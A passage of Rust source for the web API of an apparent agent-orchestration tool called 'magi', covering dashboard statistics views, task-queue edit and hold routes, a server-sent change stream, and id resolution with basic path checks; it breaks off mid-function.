6273#[derive(Debug, Serialize)]
6274struct AgentStatsView {
6275    agent: String,
6276    entered: usize,
6277    wins: usize,
6278    empty: usize,
6279    win_rate: Option<RateView>,
6280    competitive_entered: usize,
6281    competitive_wins: usize,
6282    competitive_win_rate: Option<RateView>,
6283    solo_entered: usize,
6284    solo_adopted: usize,
6285    solo_adoption_rate: Option<RateView>,
6286}
6287
6288impl From<&stats::AgentStats> for AgentStatsView {
6289    fn from(a: &stats::AgentStats) -> Self {
6290        Self {
6291            agent: a.agent.clone(),
6292            entered: a.entered,
6293            wins: a.wins,
6294            empty: a.empty,
6295            win_rate: RateView::of(a.wins, a.entered),
6296            competitive_entered: a.competitive_entered,
6297            competitive_wins: a.competitive_wins,
6298            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6299            solo_entered: a.solo_entered,
6300            solo_adopted: a.solo_adopted,
6301            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6302        }
6303    }
6304}
6305
6306/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6307/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6308/// value, `None` when `rounds` is zero.
6309#[derive(Debug, Serialize)]
6310struct ReviewerStatsView {
6311    agent: String,
6312    rounds: usize,
6313    seated: usize,
6314    submitted: usize,
6315    adopted: usize,
6316    unique: usize,
6317    timeouts: usize,
6318    adopted_per_round: Option<f64>,
6319    precision: Option<RateView>,
6320    unique_rate: Option<RateView>,
6321    timeout_rate: Option<RateView>,
6322}
6323
6324impl From<&stats::ReviewerStats> for ReviewerStatsView {
6325    fn from(r: &stats::ReviewerStats) -> Self {
6326        Self {
6327            agent: r.agent.clone(),
6328            rounds: r.rounds,
6329            seated: r.seated,
6330            submitted: r.submitted,
6331            adopted: r.adopted,
6332            unique: r.unique,
6333            timeouts: r.timeouts,
6334            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6335            precision: RateView::of(r.adopted, r.submitted),
6336            unique_rate: RateView::of(r.unique, r.submitted),
6337            timeout_rate: RateView::of(r.timeouts, r.seated),
6338        }
6339    }
6340}
6341
6342/// [`crate::stats::AdvisorStats`] for the wire.
6343///
6344/// `reflection_rate` is approximate by construction — see
6345/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6346/// that caveat is static text in `index.html`, not a field here.
6347#[derive(Debug, Serialize)]
6348struct AdvisorStatsView {
6349    agent: String,
6350    seated: usize,
6351    proposed: usize,
6352    absent: usize,
6353    faint: usize,
6354    strong: usize,
6355    reflection_rate: Option<RateView>,
6356}
6357
6358impl From<&stats::AdvisorStats> for AdvisorStatsView {
6359    fn from(a: &stats::AdvisorStats) -> Self {
6360        Self {
6361            agent: a.agent.clone(),
6362            seated: a.seated,
6363            proposed: a.proposed,
6364            absent: a.absent,
6365            faint: a.faint,
6366            strong: a.strong,
6367            reflection_rate: RateView::of(a.strong, a.proposed),
6368        }
6369    }
6370}
6371
6372/// [`crate::stats::E2eStats`] for the wire.
6373#[derive(Debug, Serialize)]
6374struct E2eStatsView {
6375    rounds: usize,
6376    failures: usize,
6377    sole_detections: usize,
6378    deferred: usize,
6379    sole_rate: Option<RateView>,
6380}
6381
6382impl From<&stats::E2eStats> for E2eStatsView {
6383    fn from(e: &stats::E2eStats) -> Self {
6384        Self {
6385            rounds: e.rounds,
6386            failures: e.failures,
6387            sole_detections: e.sole_detections,
6388            deferred: e.deferred,
6389            sole_rate: RateView::of(e.sole_detections, e.failures),
6390        }
6391    }
6392}
6393
6394/// [`crate::stats::ReleaseBumpStats`] for the wire.
6395///
6396/// `clean` is sent as a raw count, computed the same way
6397/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
6398/// needs_attention`) — never derived client-side from `automerge_enabled`,
6399/// which would misclassify a `merged_directly` bump (automerge rejected, but
6400/// magi merged it directly, so no human involvement) as needing attention.
6401#[derive(Debug, Serialize)]
6402struct ReleaseBumpStatsView {
6403    merged: usize,
6404    recorded: usize,
6405    pr_opened: usize,
6406    automerge_enabled: usize,
6407    merged_directly: usize,
6408    needs_attention: usize,
6409    clean: usize,
6410    coverage_rate: Option<RateView>,
6411    automerge_rate: Option<RateView>,
6412    attention_rate: Option<RateView>,
6413}
6414
6415impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6416    fn from(b: &stats::ReleaseBumpStats) -> Self {
6417        Self {
6418            merged: b.merged,
6419            recorded: b.recorded,
6420            pr_opened: b.pr_opened,
6421            automerge_enabled: b.automerge_enabled,
6422            merged_directly: b.merged_directly,
6423            needs_attention: b.needs_attention,
6424            clean: b.clean(),
6425            coverage_rate: RateView::of(b.recorded, b.merged),
6426            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6427            attention_rate: RateView::of(b.needs_attention, b.recorded),
6428        }
6429    }
6430}
6431
6432/// [`crate::queue::TaskCounts`] for the wire.
6433#[derive(Debug, Serialize)]
6434struct TaskCountsView {
6435    queued: usize,
6436    running: usize,
6437    done: usize,
6438    failed: usize,
6439    held: usize,
6440    blocked: usize,
6441    parked: usize,
6442}
6443
6444impl From<crate::queue::TaskCounts> for TaskCountsView {
6445    fn from(c: crate::queue::TaskCounts) -> Self {
6446        Self {
6447            queued: c.queued,
6448            running: c.running,
6449            done: c.done,
6450            failed: c.failed,
6451            held: c.held,
6452            blocked: c.blocked,
6453            parked: c.parked,
6454        }
6455    }
6456}
6457
6458/// [`crate::stats::RepoStats`] for the wire, one row per repository with
6459/// runs recorded — the summary the UI's repository selector is built from.
6460/// Carries no nested `Stats`: picking a repo means re-fetching
6461/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
6462/// aggregation rather than duplicating it.
6463#[derive(Debug, Serialize)]
6464struct RepoSummaryView {
6465    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
6466    /// against, full path and all (see [`stats_get`]'s own doc for why).
6467    repo: String,
6468    /// Display name only; never used for matching.
6469    name: String,
6470    runs: usize,
6471    completion_rate: Option<RateView>,
6472}
6473
6474impl From<&stats::RepoStats> for RepoSummaryView {
6475    fn from(r: &stats::RepoStats) -> Self {
6476        let t = &r.stats.totals;
6477        Self {
6478            repo: r.repo.to_string_lossy().into_owned(),
6479            name: r.name.clone(),
6480            runs: t.runs,
6481            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6482        }
6483    }
6484}
6485
6486/// `GET /api/stats` - the whole answer. `Stats` itself carries no
6487/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
6488/// renders from them) are free to grow without that becoming a wire-contract
6489/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
6490/// data" from "computed and it really is zero" the way [`RateView`] does.
6491#[derive(Debug, Serialize)]
6492struct StatsView {
6493    totals: StatsTotalsView,
6494    /// Best win rate first, as [`stats::collect`] already sorts it.
6495    agents: Vec<AgentStatsView>,
6496    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
6497    reviewers: Vec<ReviewerStatsView>,
6498    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
6499    advisors: Vec<AdvisorStatsView>,
6500    e2e: E2eStatsView,
6501    release_bumps: ReleaseBumpStatsView,
6502    queue: Option<TaskCountsView>,
6503    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
6504    /// that field's doc. Asserted to match it in
6505    /// `stats_runs_unreadable_matches_health`.
6506    ///
6507    /// Always the whole-workload count, even when `repo` narrows every other
6508    /// field to one repository - an unreadable `run.json` carries no `repo`
6509    /// a per-repository count could attribute it to, and the queue/health
6510    /// views this mirrors never scope it either. The UI must not present it
6511    /// as if it were scoped to the selected repository.
6512    runs_unreadable: usize,
6513    /// Every repository with runs recorded, most runs first - what the UI's
6514    /// repository selector is built from. Always the full list regardless of
6515    /// `repo`, so switching repositories never needs a second request.
6516    repos: Vec<RepoSummaryView>,
6517    /// Runs per local day over the last 30 days, oldest first, always 30
6518    /// entries. Days are the *server's* local dates (the UI must not convert
6519    /// them again), cut by run creation and classified by current status.
6520    /// Narrowed by `repo` like every other run-derived field.
6521    daily: Vec<DailyStatsView>,
6522    /// The `?repo=` value this response was narrowed to, echoed back so the
6523    /// UI can confirm its selection round-tripped. `None` for the aggregate,
6524    /// all-repositories view.
6525    repo: Option<String>,
6526    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
6527    /// current config roster no longer lists them. Empty with `?all=true`, an
6528    /// unreadable config, or when nothing was retired.
6529    retired_hidden: Vec<String>,
6530}
6531
6532/// One day of [`StatsView::daily`].
6533#[derive(Debug, Serialize)]
6534struct DailyStatsView {
6535    /// `YYYY-MM-DD`, server-local.
6536    date: String,
6537    runs: usize,
6538    merged: usize,
6539    ready: usize,
6540    other: usize,
6541    /// `None` on a day with no runs, so it never reads as 0%.
6542    completion_rate: Option<RateView>,
6543}
6544
6545impl From<&stats::DayBucket> for DailyStatsView {
6546    fn from(b: &stats::DayBucket) -> Self {
6547        Self {
6548            date: b.date.to_string(),
6549            runs: b.runs,
6550            merged: b.merged,
6551            ready: b.ready,
6552            other: b.other,
6553            completion_rate: RateView::of(b.merged + b.ready, b.runs),
6554        }
6555    }
6556}
6557
6558/// How many days [`StatsView::daily`] covers.
6559const STATS_DAILY_DAYS: usize = 30;
6560
6561/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
6562/// repository. Matched by full-path equality against `RunState.repo` only
6563/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
6564/// `--repo` is, because the value here always came from this same route's
6565/// own `repos` list in an earlier response, never typed by a human. A value
6566/// matching no run is a 404, not an empty aggregate: the caller asked for a
6567/// specific, named repository, and silently returning zeroes would look
6568/// exactly like a repository that has runs but none of interest.
6569#[derive(Debug, Default, Deserialize)]
6570#[serde(default)]
6571struct StatsQuery {
6572    repo: Option<String>,
6573    /// `?all=true` keeps agents that are no longer in the roster.
6574    all: bool,
6575    /// The dashboard fetches queue counts independently of run history.
6576    runs_only: bool,
6577}
6578
6579/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
6580/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
6581/// runs when `?repo=` narrows it), the same counting logic `magi stats`
6582/// prints from. Reads every readable run on disk, exactly as
6583/// [`runs_unreadable`] does, so the two counts can never drift apart the way
6584/// a separately-maintained tally could.
6585async fn stats_get(
6586    State(ui): State<Arc<Ui>>,
6587    Query(q): Query<StatsQuery>,
6588) -> ApiResult<Json<StatsView>> {
6589    blocking(move || {
6590        let states: Vec<RunState> = run_ids(&ui.runs)
6591            .into_iter()
6592            .filter_map(|id| read_run(&ui.runs, &id).ok())
6593            .collect();
6594        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6595            .iter()
6596            .map(RepoSummaryView::from)
6597            .collect();
6598        let mut scoped: Vec<&RunState> = states.iter().collect();
6599        let mut collected = match &q.repo {
6600            Some(repo) => {
6601                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6602                if filtered.is_empty() {
6603                    return Err(ApiError::not_found(format!(
6604                        "no runs recorded against repo `{repo}`"
6605                    )));
6606                }
6607                scoped = filtered.clone();
6608                stats::collect_refs(filtered)
6609            }
6610            None => stats::collect(&states),
6611        };
6612        if !q.all {
6613            let repo = q
6614                .repo
6615                .as_deref()
6616                .map_or_else(|| ui.repo.clone(), PathBuf::from);
6617            stats::retain_current_roster(&mut collected, &repo);
6618        }
6619        let daily = stats::daily(
6620            scoped,
6621            jiff::Zoned::now().date(),
6622            &jiff::tz::TimeZone::system(),
6623            STATS_DAILY_DAYS,
6624        );
6625        let queue_counts = (!q.runs_only)
6626            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6627        Ok(Json(StatsView {
6628            totals: StatsTotalsView::from(&collected.totals),
6629            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6630            reviewers: collected
6631                .reviewers
6632                .iter()
6633                .map(ReviewerStatsView::from)
6634                .collect(),
6635            advisors: collected
6636                .advisors
6637                .iter()
6638                .map(AdvisorStatsView::from)
6639                .collect(),
6640            e2e: E2eStatsView::from(&collected.e2e),
6641            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6642            queue: queue_counts,
6643            runs_unreadable: runs_unreadable(&ui.runs),
6644            repos,
6645            daily: daily.iter().map(DailyStatsView::from).collect(),
6646            repo: q.repo.clone(),
6647            retired_hidden: collected.retired_hidden.clone(),
6648        }))
6649    })
6650    .await
6651}
6652
6653/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
6654/// gives no reason - which must keep working, since not every hold has one.
6655#[derive(Debug, Default, Deserialize)]
6656#[serde(default, deny_unknown_fields)]
6657struct HoldBody {
6658    reason: Option<String>,
6659}
6660
6661async fn queue_hold(
6662    State(ui): State<Arc<Ui>>,
6663    Path(id): Path<String>,
6664    body: std::result::Result<Json<HoldBody>, JsonRejection>,
6665) -> ApiResult<Json<TaskView>> {
6666    // An absent body is the ordinary case - most holds are unexplained, and
6667    // that has to stay a one-tap action rather than a form. A body that is
6668    // present and malformed is still a bad request.
6669    let body = match body {
6670        Ok(Json(body)) => body,
6671        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6672        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6673    };
6674    let reason = body.reason.filter(|r| !r.trim().is_empty());
6675    mutate(ui, id, move |t| {
6676        t.hold_manual(reason.clone());
6677        Ok(())
6678    })
6679    .await
6680}
6681
6682async fn queue_release(
6683    State(ui): State<Arc<Ui>>,
6684    Path(id): Path<String>,
6685) -> ApiResult<Json<TaskView>> {
6686    mutate(ui, id, |t| {
6687        t.release_operator("web", None);
6688        Ok(())
6689    })
6690    .await
6691}
6692
6693#[derive(Debug, Deserialize)]
6694#[serde(deny_unknown_fields)]
6695struct AttemptLimitBody {
6696    // Required even when clearing: missing fields must not silently erase an override.
6697    attempt_limit: serde_json::Value,
6698}
6699
6700async fn queue_attempt_limit(
6701    State(ui): State<Arc<Ui>>,
6702    Path(id): Path<String>,
6703    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6704) -> ApiResult<Json<TaskView>> {
6705    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6706    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6707        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6708    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6709}
6710
6711#[derive(Debug, Deserialize)]
6712#[serde(deny_unknown_fields)]
6713struct ImplementersBody {
6714    implementers: u8,
6715}
6716
6717async fn queue_implementers(
6718    State(ui): State<Arc<Ui>>,
6719    Path(id): Path<String>,
6720    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6721) -> ApiResult<Json<TaskView>> {
6722    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6723    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6724}
6725
6726#[derive(Debug, Deserialize)]
6727#[serde(deny_unknown_fields)]
6728struct UrgentBody {
6729    urgent: bool,
6730}
6731
6732async fn queue_urgent(
6733    State(ui): State<Arc<Ui>>,
6734    Path(id): Path<String>,
6735    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6736) -> ApiResult<Json<TaskView>> {
6737    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6738    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6739}
6740
6741/// The body of `POST /api/queue/{id}/priority`.
6742#[derive(Debug, Deserialize)]
6743#[serde(deny_unknown_fields)]
6744struct PriorityBody {
6745    priority: i32,
6746}
6747
6748/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
6749///
6750/// [`Task::set_priority`] is the one place the "not while running" rule is
6751/// stated; this route only carries the body to it and lets its `Err` become
6752/// the 4xx the card shows.
6753async fn queue_priority(
6754    State(ui): State<Arc<Ui>>,
6755    Path(id): Path<String>,
6756    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6757) -> ApiResult<Json<TaskView>> {
6758    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6759    mutate(ui, id, move |t| t.set_priority(body.priority)).await
6760}
6761
6762/// The body of `POST /api/queue/{id}/edit`.
6763#[derive(Debug, Deserialize)]
6764#[serde(deny_unknown_fields)]
6765struct EditBody {
6766    title: String,
6767    instruction: String,
6768    /// Save even though the new text names a branch, commit or pull request
6769    /// that unfinished work already owns.
6770    #[serde(default)]
6771    force: bool,
6772}
6773
6774/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
6775/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
6776/// that refusal's message is what the sheet shows back.
6777async fn queue_edit(
6778    State(ui): State<Arc<Ui>>,
6779    Path(id): Path<String>,
6780    body: std::result::Result<Json<EditBody>, JsonRejection>,
6781) -> ApiResult<Json<TaskView>> {
6782    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6783    // The judge is an agent call, so it is awaited here, outside the claim
6784    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
6785    // remembered, and the save refuses if the task moved underneath it.
6786    let mut judged: Option<(String, PathBuf)> = None;
6787    if !body.force {
6788        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6789        let (id, text) = (id.clone(), body.instruction.clone());
6790        let (seen, hits) = blocking(move || {
6791            let id = resolve_task(&queue, &id)?;
6792            let t = queue.get(&id)?;
6793            if text == t.instruction {
6794                return Ok((None, Vec::new()));
6795            }
6796            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6797            Ok((Some((t.instruction, t.repo)), hits))
6798        })
6799        .await?;
6800        if let Some((_, repo)) = &seen {
6801            let cfg = crate::config::Config::discover(repo, None)
6802                .ok()
6803                .map(|(c, _)| c);
6804            let screened =
6805                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6806                    .await
6807                    .map_err(|dup| {
6808                        ApiError::conflict(dup.render(
6809                            "Nothing was saved. If it is not a duplicate, repeat the request \
6810                             with \"force\": true.",
6811                        ))
6812                    })?;
6813            if let crate::dupes::Screened::Unjudged(why) = screened {
6814                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6815            }
6816        }
6817        judged = seen;
6818    }
6819    let force = body.force;
6820    mutate(ui, id, move |t| {
6821        if !force && body.instruction != t.instruction {
6822            match &judged {
6823                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6824                _ => {
6825                    anyhow::bail!("the task changed while it was being checked; repeat the request")
6826                }
6827            }
6828        }
6829        t.edit(body.title.clone(), body.instruction.clone())
6830    })
6831    .await
6832}
6833
6834/// `POST /api/queue/{id}/done` - close a task as finished without deleting
6835/// it, so the phone's other way to clear a task from the backlog does not
6836/// have to cost the run history, the attribution, and `created_at` the way
6837/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
6838/// can be marked done by hand, because this is for the run the loop never
6839/// saw land - a merge done by hand, or a gate that misreported - and that can
6840/// happen from any status the task was left in.
6841async fn queue_done(
6842    State(ui): State<Arc<Ui>>,
6843    Path(id): Path<String>,
6844) -> ApiResult<Json<TaskView>> {
6845    let home = ui.home.clone();
6846    mutate(ui, id, move |t| {
6847        t.succeed();
6848        // Same as the loop's own settle path: closing a task by hand is just
6849        // as much "this task's story is over" as a daemon-driven `Merged`/
6850        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
6851        // behind must stop looking like it still needs a human. `ui.home`,
6852        // not the process-global `run::home()`: they agree in a real
6853        // process, but only `ui.home` also agrees with a test fixture's own
6854        // directory.
6855        crate::daemon::supersede_prior_runs(t, &home);
6856        Ok(())
6857    })
6858    .await
6859}
6860
6861/// `DELETE /api/queue/{id}`.
6862///
6863/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
6864/// names this task: a `running` status or an orphaned `.lock` left behind by a
6865/// killed daemon is a leftover, and treating either as authority made the
6866/// task undeletable from the phone for good. The associated runs, if any, are
6867/// kept: a run is self-contained history and not an appendage of the task.
6868async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6869    blocking(move || {
6870        let id = resolve_task(&ui.queue, &id)?;
6871        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6872        ui.queue
6873            .remove(&id, in_flight, &ui.questions)
6874            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6875        Ok(StatusCode::NO_CONTENT)
6876    })
6877    .await
6878}
6879
6880/// Read a task, change it, write it back, under the queue's own lock.
6881///
6882/// Taking the same claim a daemon takes is what makes hold, release,
6883/// priority, edit, and done safe to press while magi is running: without it
6884/// the daemon's next save would land on top of the operator's change and
6885/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
6886/// both do, for a running task - and that refusal becomes the 4xx the card
6887/// shows, same as any other domain rule.
6888async fn mutate(
6889    ui: Arc<Ui>,
6890    id: String,
6891    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6892) -> ApiResult<Json<TaskView>> {
6893    blocking(move || {
6894        let id = resolve_task(&ui.queue, &id)?;
6895        // `claim` fails when the lock file already exists, which is the
6896        // conflict the UI must report: the daemon owns that task's file for
6897        // as long as it is running it, and our write would be lost under its
6898        // next save. The message names the lock either way.
6899        let _claim = ui.queue.claim(&id).map_err(|e| {
6900            ApiError::conflict(format!(
6901                "{e:#} - a daemon is running this task, so it cannot be \
6902                 changed from here yet; wait until it is released, then retry"
6903            ))
6904        })?;
6905        let mut task = ui.queue.get(&id)?;
6906        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6907            Ok(dup) => ApiError::conflict(dup.render(
6908                "Nothing was saved. If it is not a duplicate, repeat the request with \
6909                 \"force\": true.",
6910            )),
6911            Err(e) => ApiError::bad_request_from(e),
6912        })?;
6913        ui.queue.put(&mut task)?;
6914        Ok(Json(TaskView::from(task)))
6915    })
6916    .await
6917}
6918
6919/// The change stream: one revision number per store, on connect and whenever
6920/// any of them moves.
6921///
6922/// One shared worker scans stores; clients only forward its notifications.
6923async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6924    ui.monitor.ensure_worker(&ui);
6925    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
6926    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6927
6928    let state = Arc::clone(&ui);
6929    tokio::spawn(async move {
6930        let initial_revisions = {
6931            let guard = match state.monitor.latest.lock() {
6932                Ok(g) => g,
6933                Err(p) => p.into_inner(),
6934            };
6935            guard.as_ref().map(|(r, _)| *r)
6936        };
6937        if let Some(revisions) = initial_revisions {
6938            let initial_payload = serde_json::json!({
6939                "queue_rev": revisions.0,
6940                "runs_rev": revisions.1,
6941                "questions_rev": revisions.2,
6942                "talks_rev": revisions.3,
6943                "notifications_rev": revisions.4,
6944                "loop_rev": revisions.5,
6945            });
6946
6947            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
6948                if tx.send(event).await.is_err() {
6949                    return;
6950                }
6951            }
6952        }
6953
6954        loop {
6955            match tokio::select! {
6956                _ = tx.closed() => return,
6957                value = broadcast_rx.recv() => value,
6958            } {
6959                Ok(notif) => {
6960                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
6961                    else {
6962                        break;
6963                    };
6964                    if tx.send(event).await.is_err() {
6965                        break;
6966                    }
6967                }
6968                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
6969                    let revs = {
6970                        let guard = match state.monitor.latest.lock() {
6971                            Ok(g) => g,
6972                            Err(p) => p.into_inner(),
6973                        };
6974                        guard.as_ref().map(|(r, _)| *r)
6975                    };
6976                    if let Some(revs) = revs {
6977                        let payload = serde_json::json!({
6978                            "queue_rev": revs.0,
6979                            "runs_rev": revs.1,
6980                            "questions_rev": revs.2,
6981                            "talks_rev": revs.3,
6982                            "notifications_rev": revs.4,
6983                            "loop_rev": revs.5,
6984                        });
6985                        if let Ok(event) = Event::default().event("change").json_data(payload) {
6986                            if tx.send(event).await.is_err() {
6987                                break;
6988                            }
6989                        }
6990                    }
6991                }
6992                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
6993                    break;
6994                }
6995            }
6996        }
6997    });
6998
6999    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7000        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7001}
7002
7003/// Run ids under `runs`, newest first.
7004///
7005/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7006/// which reads the process-global home: the server has to be drivable against
7007/// a temp directory for any of this to be testable.
7008fn run_ids(runs: &FsPath) -> Vec<String> {
7009    let mut ids: Vec<String> = std::fs::read_dir(runs)
7010        .into_iter()
7011        .flatten()
7012        .flatten()
7013        .filter(|e| e.path().join("run.json").is_file())
7014        .map(|e| e.file_name().to_string_lossy().into_owned())
7015        .collect();
7016    // Ids start with a sortable timestamp.
7017    ids.sort_unstable_by(|a, b| b.cmp(a));
7018    ids
7019}
7020
7021/// Read one run's state from an explicit runs root.
7022fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7023    let path = runs.join(id).join("run.json");
7024    let body =
7025        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7026    let state: RunState =
7027        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7028    // The same migration `RunState::load` applies, so a record from the
7029    // previous schema reads here as it does everywhere else (an origin-less
7030    // run shows as "origin unknown") instead of vanishing from the phone the
7031    // moment the schema is bumped.
7032    run::migrate_schema(state)
7033}
7034
7035/// Runs on disk under `runs` whose state this build cannot parse - almost
7036/// always a schema bump, occasionally a run killed mid-write.
7037///
7038/// Exposed so every surface that reports on runs shares one count instead of
7039/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7040/// `magi doctor` calls this directly rather than guessing at the same number
7041/// a second way.
7042#[must_use]
7043pub fn runs_unreadable(runs: &FsPath) -> usize {
7044    run_ids(runs)
7045        .into_iter()
7046        .filter(|id| read_run(runs, id).is_err())
7047        .count()
7048}
7049
7050fn plain_record_id(id: &str) -> bool {
7051    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7052}
7053
7054/// Expand an id or short id to exactly one run id.
7055fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7056    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7057        return Ok(id.to_owned());
7058    }
7059    pick(run_ids(runs), id, "run")
7060}
7061
7062/// Expand an id or short id to exactly one task id.
7063fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7064    if plain_record_id(id) && queue.path_of(id).is_file() {
7065        return Ok(id.to_owned());
7066    }
7067    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7068    pick(ids, id, "task")
7069}
7070
7071/// A question as the phone reads it.
7072///
7073/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7074/// text already parsed into a node tree so the client never runs its own
7075/// markdown reader over agent-authored prose. A relative image path in it
7076/// resolves against this question's own panel asset route, which is the one
7077/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7078/// separate, sandboxed document, but `detail` is rendered inline in the
7079/// operator's own page, so an image reference in it may only ever point at
7080/// files magi itself already serves for this question.
7081#[derive(Debug, Serialize)]
7082struct QuestionView {
7083    choice_effects: std::collections::BTreeMap<String, String>,
7084    record_revision: String,
7085    #[serde(flatten)]
7086    question: Question,
7087    detail_md: Vec<md::Node>,
7088    posting_view: Option<PostingView>,
7089    /// Each thread turn's body, parsed; same order as `question.thread`.
7090    thread_bodies_md: Vec<Vec<md::Node>>,
7091    /// Each thread turn's deputy note, parsed (`None` for a turn without
7092    /// one); same order as `question.thread`.
7093    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7094    /// Is the ball in the agent's court right now?
7095    ///
7096    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7097    /// [`Question::say`] - so this is the one field that tells the phone to
7098    /// disable the answer controls and show "waiting for the agent" instead of
7099    /// a card the owner can act on. Computed rather than stored on
7100    /// [`Question`] itself, on the same reasoning as `waiting` on
7101    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7102    /// it here means the client never has to re-derive that rule.
7103    waiting_on_agent: bool,
7104    /// Who is waiting on this open question - see [`holder_of`]. Separate
7105    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7106    /// anyone is there to take it.
7107    holder: Option<&'static str>,
7108    /// Whether `magi serve` can start a follow-up agent for a conductor
7109    /// question at all: false when `daemon.max_deputies = 0` or the config is
7110    /// unreadable. Separate from `holder`, which says who is listening now.
7111    deputies_enabled: bool,
7112    /// All starts were spent and no live holder remains. Display-only: the
7113    /// final attempt increments `starts` before running under its lease.
7114    deputy_exhausted: bool,
7115    text_delivery: crate::question_delivery::Availability,
7116    /// `question.run` is a task id (conductor / triage questions), not a run
7117    /// id, so the UI links it to the task page.
7118    run_is_task: bool,
7119    /// The existing chat this question's task came from, including settled
7120    /// questions - see [`crate::consult::associated_talk`].
7121    origin_chat: Option<String>,
7122    /// `origin_chat` is closed; consulting reopens it first.
7123    origin_chat_closed: bool,
7124    /// Consultation eligibility is separate from navigation to the chat.
7125    can_consult_chat: bool,
7126}
7127
7128#[derive(Debug, Serialize)]
7129struct PostingView {
7130    before_md: Vec<md::Node>,
7131    after_md: Vec<md::Node>,
7132    fields: Vec<crate::github_text::ComparisonView>,
7133}
7134
7135fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7136    let comparison = question.posting_comparison.as_ref()?;
7137    if !comparison.matches_detail(&question.detail) {
7138        return None;
7139    }
7140    let mut ids = std::collections::BTreeSet::new();
7141    if comparison.fields.is_empty()
7142        || comparison
7143            .fields
7144            .iter()
7145            .flat_map(|f| &f.pairs)
